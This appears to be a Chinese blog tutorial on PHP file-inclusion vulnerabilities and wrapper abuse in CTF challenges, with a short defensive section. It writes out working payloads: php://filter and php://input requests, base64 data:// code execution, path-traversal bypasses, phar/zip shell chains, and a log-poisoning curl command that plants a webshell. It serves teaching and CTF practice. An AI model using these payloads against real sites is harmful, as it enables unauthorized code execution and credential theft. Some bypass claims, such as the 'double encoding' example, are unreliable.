☰
CTF文件包含漏洞原理与伪协议利用实战
2026/10/31 11:37:33 网站建设 项目流程

1. CTF文件包含漏洞的本质与攻击面

文件包含漏洞在CTF比赛中属于高频考点,其本质是开发者未对用户可控的文件路径参数进行严格过滤,导致攻击者能够通过构造特殊路径读取或执行任意文件。这种漏洞常出现在PHP语言的include()、require()等函数调用场景中,但Java的JSP包含、Python的import机制等同样存在类似风险。

从底层机制来看,当服务器执行include($file)时,PHP解释器会做三件事:

  1. 解析$file变量指向的路径
  2. 将目标文件内容加载到当前脚本上下文
  3. 以PHP代码形式执行被包含内容

攻击者正是利用这个机制的特性实现越权操作。例如当包含一个图片文件时,如果图片中包含PHP代码片段,服务器仍会尝试执行这些代码。2017年WordPress的CVE-2017-9066漏洞就是典型实例,攻击者通过媒体上传功能植入恶意代码,再通过本地包含执行。

关键区别:与SQL注入不同,文件包含漏洞的利用不依赖特殊字符,而是利用服务器对文件路径的信任机制。这使得传统WAF往往难以有效防御。

2. 伪协议武器库的实战应用

2.1 php://filter的编码艺术

php://filter/read=convert.base64-encode/resource=index.php 这个经典payload由三部分组成:

  • php://filter/:声明使用过滤器协议
  • read=convert.base64-encode:指定读取时进行base64编码
  • resource=index.php:目标文件路径

这种做法的精妙之处在于:

  1. 绕过文件后缀检测:即使目标配置了仅允许包含.jpg文件,伪协议仍可生效
  2. 避免代码直接执行:base64编码后返回的是文本而非可执行代码
  3. 突破内容显示限制:某些配置下直接包含php文件只会输出空白

实战中我曾遇到一个变异场景:题目对包含路径做了str_replace过滤。此时可用双重编码绕过:

php://filter/convert.base64-encode/read=resource=index.php

2.2 php://input的POST攻击

当allow_url_include=On时,php://input允许直接读取POST原始数据。在CTF中常用以下攻击链:

  1. 构造包含php://input的URL
  2. 用Burp Suite发送POST请求
  3. POST body中写入PHP代码

典型攻击示例:

GET /vuln.php?file=php://input HTTP/1.1 Host: ctf.example.com <?php system("ls /"); ?>

这种手法的优势在于:

  • 无需文件上传功能
  • 可动态修改攻击代码
  • 绕过基于文件名的过滤

2.3 data://的代码注入

data://text/plain, 这种直接执行方式在CTF中往往会被过滤。更隐蔽的做法是:

  1. 将代码进行base64编码
  2. 使用data伪协议封装
  3. 通过include触发执行

例如:

data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOw==

这串base64解码后是 。我在某次比赛中发现目标对<?php标签做了过滤,改用短标签成功绕过:

data://text/plain;base64,PD89IHN5c3RlbSgibHMiKTs=

3. 实战中的高阶绕过技巧

3.1 路径遍历的魔术操作

当遇到../被过滤时,可以尝试:

  • 使用绝对路径:/var/www/html/config.php
  • URL编码:%2e%2e%2f
  • 超长路径截断:....//....//(Windows特性)
  • 空字节截断:config.php%00(PHP<5.3)

某次真实比赛中的绕过案例:

include=phar://./uploads/evil.jpg/../shell.php

利用phar协议解析压缩包时的路径解析特性。

3.2 协议嵌套的妙用

不同伪协议可以组合使用创造攻击条件:

  1. 先用zip://压缩webshell
  2. 通过phar://执行压缩包内文件
  3. 配合目录穿越读取敏感文件

示例:

?file=phar://zip://./uploads/test.zip%23shell.jpg/shell.php

3.3 日志注入的技巧

当常规方法失效时,可以尝试:

  1. 向access.log注入PHP代码
  2. 包含日志文件路径
  3. 触发代码执行

具体步骤:

curl -A "<?php system($_GET['cmd']);?>" http://target ?file=/var/log/apache2/access.log&cmd=ls

4. 防御视角的对抗分析

4.1 安全配置的黄金法则

从防御者角度,必须做到:

  1. 关闭危险配置:
    allow_url_include = Off allow_url_fopen = Off
  2. 使用白名单校验:
    $allowed = ['header.php', 'footer.php']; if(!in_array($file, $allowed)) die();
  3. 设置open_basedir限制:
    open_basedir = /var/www/html/

4.2 代码层面的防护

推荐使用:

  1. 硬编码包含路径:
    include(__DIR__.'/templates/'.$file);
  2. 后缀强制校验:
    if(pathinfo($file, PATHINFO_EXTENSION) !== 'tpl') die();
  3. 实时检测包含内容:
    $content = file_get_contents($file); if(preg_match('/<\?php/i', $content)) die();

5. CTF实战解题框架

5.1 标准解题流程

  1. 识别包含点:查找include/require参数
  2. 测试过滤规则:尝试../、伪协议等
  3. 确定协议类型:根据报错判断可用协议
  4. 构造payload:结合题目限制
  5. 获取flag:读取源码或执行命令

5.2 常见flag位置

  • /flag
  • /var/www/flag.php
  • 数据库配置文件
  • PHPINFO输出
  • 环境变量

5.3 工具链推荐

  1. Burp Suite:用于拦截修改请求
  2. CyberChef:快速编解码payload
  3. PHP在线沙箱:测试代码执行效果
  4. 自定义字典:包含路径爆破

在最近一次比赛中,我通过分析网站图标特征,发现使用的是某开源CMS,进而推断出配置文件路径为/include/config.inc.php,最终用php://filter读取到数据库凭证。这种信息关联的思维方式往往比技术本身更重要。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询